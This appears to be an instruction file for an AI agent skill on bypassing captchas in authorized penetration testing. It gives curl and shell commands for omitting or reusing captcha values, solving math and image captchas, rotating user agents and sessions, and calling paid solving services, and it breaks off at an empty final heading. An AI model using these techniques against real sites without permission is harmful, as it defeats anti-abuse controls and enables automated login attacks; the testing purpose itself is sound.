Captcha Bypass

Captcha Bypass Techniques

This skill provides techniques for bypassing captchas during authorized security testing. The goal is to streamline testing workflows, not to undermine security controls in production without authorization.

When to Use This Skill

Use this skill when:

• You're conducting authorized penetration testing on web applications
• You need to automate security testing workflows that encounter captchas
• You're building security testing tools that need to handle captcha challenges
• You're assessing captcha implementation strength in a controlled environment

Core Techniques

1. Parameter Manipulation

Try modifying how the captcha parameter is sent:

Omit the captcha parameter entirely:

# Remove captcha field from request
curl -X POST https://target.com/login \
  -d "username=test&password=secret"

Change HTTP method:

# Try GET instead of POST
curl -X GET "https://target.com/login?username=test&password=secret"

Switch data format:

# Try JSON instead of form data
curl -X POST https://target.com/login \
  -H "Content-Type: application/json" \
  -d '{"username":"test","password":"secret"}'

Send empty captcha value:

curl -X POST https://target.com/login \
  -d "username=test&password=secret&captcha="

2. Value Extraction and Reuse

Search page source for captcha values:

curl -s https://target.com/login | grep -i captcha
curl -s https://target.com/login | grep -oE '[a-zA-Z0-9]{8,}'

Check cookies for stored values:

curl -s -c cookies.txt -L https://target.com/login
cat cookies.txt | grep -i captcha

Reuse previous successful values:

# Store and reuse captcha tokens
export CAPTCHA_TOKEN="abc123xyz"
curl -X POST https://target.com/login \
  -d "username=test&password=secret&captcha=$CAPTCHA_TOKEN"

Test session reuse:

# Use same session across requests
curl -c session.txt -b session.txt https://target.com/login

3. Mathematical Captcha Automation

For simple math captchas, automate the calculation:

# Extract and solve math captcha
CAPTCHA_EXPR=$(curl -s https://target.com/captcha | grep -oE '[0-9]+\s*[+\-*/]\s*[0-9]+')
CAPTCHA_ANSWER=$(echo "$CAPTCHA_EXPR" | bc)
curl -X POST https://target.com/login \
  -d "username=test&password=secret&captcha=$CAPTCHA_ANSWER"

4. Image Recognition

Count unique captcha images:

# Download and hash images to find patterns
for i in {1..100}; do
  curl -s https://target.com/captcha.png -o captcha_$i.png
  md5sum captcha_$i.png
done | sort | uniq -c | sort -rn

Use OCR for text extraction:

# Install tesseract first: apt install tesseract-ocr
curl -s https://target.com/captcha.png -o captcha.png
tesseract captcha.png stdout --psm 6

5. Rate Limit Testing

Check if rate limits can be bypassed:

# Test submission limits
for i in {1..10}; do
  curl -s -o /dev/null -w "%{http_code} " https://target.com/login \
    -d "username=test&password=secret&captcha=test"
  sleep 1
done
echo

6. Header and Session Manipulation

Rotate User-Agents:

USER_AGENTS=(
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0"
  "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Safari/605.1"
  "Mozilla/5.0 (X11; Linux x86_64) Firefox/89.0"
)

for ua in "${USER_AGENTS[@]}"; do
  curl -A "$ua" https://target.com/login
done

Session rotation:

# Generate new session for each request
curl -c /tmp/session_$$.txt -b /tmp/session_$$.txt https://target.com/login
rm /tmp/session_$$.txt

7. Third-Party Services

For complex captchas (reCAPTCHA, Cloudflare, etc.), consider:

• CapSolver: AI-powered captcha solving API
• 2Captcha: Human-powered solving service
• Anti-Captcha: Another solving service option

Example API integration:

# CapSolver example (requires API key)
curl -X POST https://api.capsolver.com \
  -H "Content-Type: application/json" \
  -d '{
    "clientKey": "YOUR_API_KEY",
    "task": {
      "type": "ReCaptchaV2Task",
      "websiteURL": "https://target.com",
      "websiteKey": "6LeIxAcTAAAAAJcZVRqyHh71UMIEGNQ_MXjiZKhI"
    }
  }'

Testing Workflow

1. Document authorization - Ensure you have written permission
2. Start with parameter manipulation - Easiest to implement
3. Progress to automation - Math, OCR, or services
4. Test rate limits - Understand constraints
5. Document findings - Report bypass methods found

Output Format

When documenting captcha bypass findings, use this structure:

## Captcha Bypass Assessment

### Target
- URL: [target URL]
- Captcha Type: [reCAPTCHA v2/v3, image, math, etc.]

### Techniques Tested
- [x] Parameter omission
- [x] Empty value submission
- [x] Session reuse
- [ ] OCR automation
- [ ] Third-party services

### Results
- Bypassable: [Yes/No/Partial]
- Method: [description of successful technique]
- Risk Level: [Low/Medium/High]

### Recommendations
- [specific remediation steps]

Important Notes

• Authorization Required: Only use these techniques on systems you own or have explicit permission to test
• Rate Limiting: Be respectful of target systems to avoid causing denial of service
• Documentation: Always document your testing scope and findings
• Legal Compliance: Ensure compliance with applicable laws and regulations

Common Captcha Types